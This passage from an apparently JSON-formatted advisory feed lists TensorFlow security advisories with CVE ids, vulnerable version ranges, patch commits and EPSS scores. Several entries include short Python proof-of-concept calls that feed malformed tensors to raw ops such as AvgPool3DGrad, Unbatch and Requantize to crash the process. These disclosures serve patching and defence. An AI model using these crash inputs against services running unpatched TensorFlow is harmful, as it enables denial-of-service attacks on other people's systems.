2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.094Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00194,"epss_percentile":0.41773},{"uuid":"GSA_kwCzR0hTQS13eGpqLWNnY3gtcjN2cc4AAu2d","url":"https://github.com/advisories/GHSA-wxjj-cgcx-r3vq","title":"TensorFlow vulnerable to `CHECK` failures in `AvgPool3DGrad`","description":"### Impact\nThe implementation of `AvgPool3DGradOp` does not fully validate the input `orig_input_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\nksize = [1, 1, 1, 1, 1]\nstrides = [1, 1, 1, 1, 1]\npadding = \"SAME\"\ndata_format = \"NDHWC\"\norig_input_shape = tf.constant(1879048192, shape=[5], dtype=tf.int32)\ngrad = tf.constant(1, shape=[1,3,2,4,2], dtype=tf.float32)\ntf.raw_ops.AvgPool3DGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [9178ac9d6389bdc54638ab913ea0e419234d14eb](https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:11:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wxjj-cgcx-r3vq","https://github.com/tensorflow/tensorflow/commit/9178ac9d6389bdc54638ab913ea0e419234d14eb","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35959","https://github.com/advisories/GHSA-wxjj-cgcx-r3vq"],"source_kind":"github","identifiers":["GHSA-wxjj-cgcx-r3vq","CVE-2022-35959"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.152Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00194,"epss_percentile":0.41773},{"uuid":"GSA_kwCzR0hTQS1mdjQzLTkzZ3Ytdm04Zs4AAu2W","url":"https://github.com/advisories/GHSA-fv43-93gv-vm8f","title":"TensorFlow vulnerable to null dereference on MLIR on empty function attributes","description":"### Impact\nWhen [`mlir::tfg::ConvertGenericFunctionToFunctionDef`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ir/importexport/functiondef_import.cc) is given empty function attributes, it gives a null dereference.\n```cpp\n// Import the function attributes with a `tf.` prefix to match the current\n// infrastructure expectations.\nfor (const auto\u0026 namedAttr : func.attr()) {\n  const std::string\u0026 name = \"tf.\" + namedAttr.first;\n  const AttrValue\u0026 tf_attr = namedAttr.second;\n  TF_ASSIGN_OR_RETURN(Attribute attr,\n                      ConvertAttributeValue(tf_attr, builder, tfgDialect));\n  attrs.append(name, attr);\n}\n```\nIf `namedAttr.first` is empty, it will crash.\n\n### Patches\nWe have patched the issue in GitHub commit [1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b](https://github.com/tensorflow/tensorflow/commit/1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:59:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fv43-93gv-vm8f","https://github.com/tensorflow/tensorflow/commit/1cf45b831eeb0cab8655c9c7c5d06ec6f45fc41b","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36011","https://github.com/advisories/GHSA-fv43-93gv-vm8f"],"source_kind":"github","identifiers":["GHSA-fv43-93gv-vm8f","CVE-2022-36011"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.224Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00235,"epss_percentile":0.46461},{"uuid":"GSA_kwCzR0hTQS1taDNtLTYydjctNjh4Z84AAu2Y","url":"https://github.com/advisories/GHSA-mh3m-62v7-68xg","title":"TensorFlow vulnerable to `CHECK` fail in `Unbatch`","description":"### Impact\nWhen `Unbatch` receives a nonscalar input `id`, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np\narg_0=tf.constant(value=np.random.random(size=(3, 3, 1)), dtype=tf.float64)\narg_1=tf.constant(value=np.random.randint(0,100,size=(3, 3, 1)), dtype=tf.int64)\narg_2=tf.constant(value=np.random.randint(0,100,size=(3, 3,  1)), dtype=tf.int64)\narg_3=47\narg_4=''\narg_5=''\ntf.raw_ops.Unbatch(batched_tensor=arg_0, batch_index=arg_1, id=arg_2, \n                   timeout_micros=arg_3, container=arg_4, shared_name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [4419d10d576adefa36b0e0a9425d2569f7c0189f](https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:06:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mh3m-62v7-68xg","https://github.com/tensorflow/tensorflow/commit/4419d10d576adefa36b0e0a9425d2569f7c0189f","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36002","https://github.com/advisories/GHSA-mh3m-62v7-68xg"],"source_kind":"github","identifiers":["GHSA-mh3m-62v7-68xg","CVE-2022-36002"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.190Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS13cW1jLXBtOGMtMmpoY84AAu2V","url":"https://github.com/advisories/GHSA-wqmc-pm8c-2jhc","title":"TensorFlow vulnerable to segfault in `Requantize`","description":"### Impact\nIf `Requantize` is given `input_min`, `input_max`, `requested_output_min`, `requested_output_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nout_type = tf.quint8\ninput = tf.constant([1], shape=[3], dtype=tf.qint32)\ninput_min = tf.constant([], shape=[0], dtype=tf.float32)\ninput_max = tf.constant(-256, shape=[1], dtype=tf.float32)\nrequested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)\nrequested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)\ntf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:57:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wqmc-pm8c-2jhc","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36017","https://github.com/advisories/GHSA-wqmc-pm8c-2jhc"],"source_kind":"github","identifiers":["GHSA-wqmc-pm8c-2jhc","CVE-2022-36017"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.232Z","updated_at":"2023-01-30T05:02:53.000Z","epss_percentage":0.00214,"epss_percentile":0.44081},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk3d2YtcDc3Ny04Nmpx","url":"https://github.com/advisories/GHSA-97wf-p777-86jq","title":"Division by zero in TFLite's implementation of Split","description":"### Impact\nThe implementation of the `Split` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65):\n\n```cc\nTF_LITE_ENSURE_MSG(context, input_size % num_splits == 0, \"Not an even split\");\nconst int slice_size = input_size / num_splits;\n```\n\nAn attacker can craft a model such that `num_splits` would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d](https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-97wf-p777-86jq","https://nvd.nist.gov/vuln/detail/CVE-2021-29599","https://github.com/tensorflow/tensorflow/commit/b22786e7e9b7bdb6a56936ff29cc7e9968d7bc1d","https://github.com/tensorflow/tensorflow/blob/e2752089ef7ce9bcf3db0ec618ebd23ea119d0c7/tensorflow/lite/kernels/split.cc#L63-L65","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-527.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-725.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-236.yaml","https://github.com/advisories/GHSA-97wf-p777-86jq"],"source_kind":"github","identifiers":["GHSA-97wf-p777-86jq","CVE-2021-29599"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.207Z","updated_at":"2024-11-13T16:07:27.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS1jdjJwLTMydjMtdmh3cc4AAu2U","url":"https://github.com/advisories/GHSA-cv2p-32v3-vhwq","title":"TensorFlow vulnerable to `CHECK` fail in `RandomPoissonV2`","description":"### Impact\nWhen `RandomPoissonV2` receives large input shape and rates, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)\narg_1=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float32, maxval=None)\narg_2=0\narg_3=0\narg_4=tf.int32\narg_5=None\ntf.raw_ops.RandomPoissonV2(shape=arg_0, rate=arg_1, seed=arg_2,\n                           seed2=arg_3, dtype=arg_4, name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:39:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cv2p-32v3-vhwq","https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36003","https://github.com/advisories/GHSA-cv2p-32v3-vhwq"],"source_kind":"github","identifiers":["GHSA-cv2p-32v3-vhwq","CVE-2022-36003"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.242Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1yMjZjLTY3OXctbXJqbc4AAu2T","url":"https://github.com/advisories/GHSA-r26c-679w-mrjm","title":"TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsGradient`","description":"### Impact\nWhen `tf.quantization.fake_quant_with_min_max_vars_gradient` receives input `min` or `max` that is nonscalar, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np \narg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_4=8\narg_5=False\narg_6=''\ntf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1,\nmin=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by\n - 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n - Neophytos Christou, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:28:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r26c-679w-mrjm","https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36005","https://github.com/advisories/GHSA-r26c-679w-mrjm"],"source_kind":"github","identifiers":["GHSA-r26c-679w-mrjm","CVE-2022-36005"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.267Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.00229,"epss_percentile":0.45653},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE4Z3YtcTd3ci05amY4","url":"https://github.com/advisories/GHSA-q8gv-q7wr-9jf8","title":"Segfault in Tensorflow","description":"### Impact\nIn eager mode, TensorFlow does not set the session state. Hence, calling `tf.raw_ops.GetSessionHandle` or `tf.raw_ops.GetSessionHandleV2` results in a null pointer dereference:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/session_ops.cc#L45\n\nIn the above snippet, in eager mode, `ctx-\u003esession_state()` returns `nullptr`. Since code immediately dereferences this, we get a segmentation fault.\n\n### Patches\nWe have patched the issue in 9a133d73ae4b4664d22bd1aa6d654fec13c52ee1 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q8gv-q7wr-9jf8","https://github.com/tensorflow/tensorflow/commit/9a133d73ae4b4664d22bd1aa6d654fec13c52ee1","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15204","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-284.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-319.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-127.yaml","https://github.com/advisories/GHSA-q8gv-q7wr-9jf8"],"source_kind":"github","identifiers":["GHSA-q8gv-q7wr-9jf8","CVE-2020-15204"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.715Z","updated_at":"2024-10-28T14:47:23.000Z","epss_percentage":0.00221,"epss_percentile":0.44782},{"uuid":"GSA_kwCzR0hTQS1tdjhtLTh4OTctOTM3cc4AAu2Q","url":"https://github.com/advisories/GHSA-mv8m-8x97-937q","title":"TensorFlow vulnerable to `CHECK` fail in `tf.random.gamma`","description":"### Impact\nWhen `tf.random.gamma` receives large input shape and rates, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)\narg_1=tf.random.uniform(shape=(4, 4), dtype=tf.float64, maxval=None)\narg_2=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float64, maxval=None)\narg_3=tf.float64\narg_4=48\narg_5='None'\ntf.random.gamma(shape=arg_0, alpha=arg_1, beta=arg_2, dtype=arg_3, seed=arg_4, name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit 